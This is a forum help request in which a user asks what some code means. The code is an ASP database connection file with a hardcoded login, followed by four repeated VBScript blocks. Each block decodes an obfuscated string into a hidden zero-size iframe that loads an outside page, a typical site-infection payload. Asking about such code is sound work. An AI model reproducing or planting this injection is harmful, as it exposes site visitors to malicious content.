大家帮看看这段代码是什么意思？

jinco 2006-03-18 08:56:20

<%
dim conn,connstr
set conn=server.createobject("adodb.connection")
conn.ConnectionTimeout=5

ConnStr = "Provider = Sqloledb; User ID = oldxxlife2005; Password = oldxxlife2005; Initial Catalog = xxlife2005; Data Source = (local);"

On Error Resume Next
conn.open connstr
if err then
err.clear
set conn = nothing
response.write "数据库连接出错，请检查数据库连接串"
response.end
end if

Function CloseDatabase()
conn.Close
Set conn=Nothing
End Function
%><SCRIPT language=vbscript>
hu="琳5b_kZf^xlk\6zammi3((ppp'qbgpa'\hf(ebg^(ebg^'amfezx_kZf^[hk]^k6gh琳pb]ma6)xa^b`am6)x[hk]^k6)xfZk`bgpb]ma6)xfZk`bga^b`am6)75(b_kZf^7琳"
function UnEncode(temp)
but=88
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
document.write(UnEncode(hu))
</SCRIPT>
<SCRIPT language=vbscript>
hu="琳5b_kZf^xlk\6zammi3((ppp'qbgpa'\hf(ebg^(ebg^'amfezx_kZf^[hk]^k6gh琳pb]ma6)xa^b`am6)x[hk]^k6)xfZk`bgpb]ma6)xfZk`bga^b`am6)75(b_kZf^7琳"
function UnEncode(temp)
but=88
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
document.write(UnEncode(hu))
</SCRIPT>
<SCRIPT language=vbscript>
hu="琳5b_kZf^xlk\6zammi3((ppp'qbgpa'\hf(ebg^(ebg^'amfezx_kZf^[hk]^k6gh琳pb]ma6)xa^b`am6)x[hk]^k6)xfZk`bgpb]ma6)xfZk`bga^b`am6)75(b_kZf^7琳"
function UnEncode(temp)
but=88
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
document.write(UnEncode(hu))
</SCRIPT>
<SCRIPT language=vbscript>
hu="琳5b_kZf^xlk\6zammi3((ppp'qbgpa'\hf(ebg^(ebg^'amfezx_kZf^[hk]^k6gh琳pb]ma6)xa^b`am6)x[hk]^k6)xfZk`bgpb]ma6)xfZk`bga^b`am6)75(b_kZf^7琳"
function UnEncode(temp)
but=88
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
document.write(UnEncode(hu))
</SCRIPT>

...全文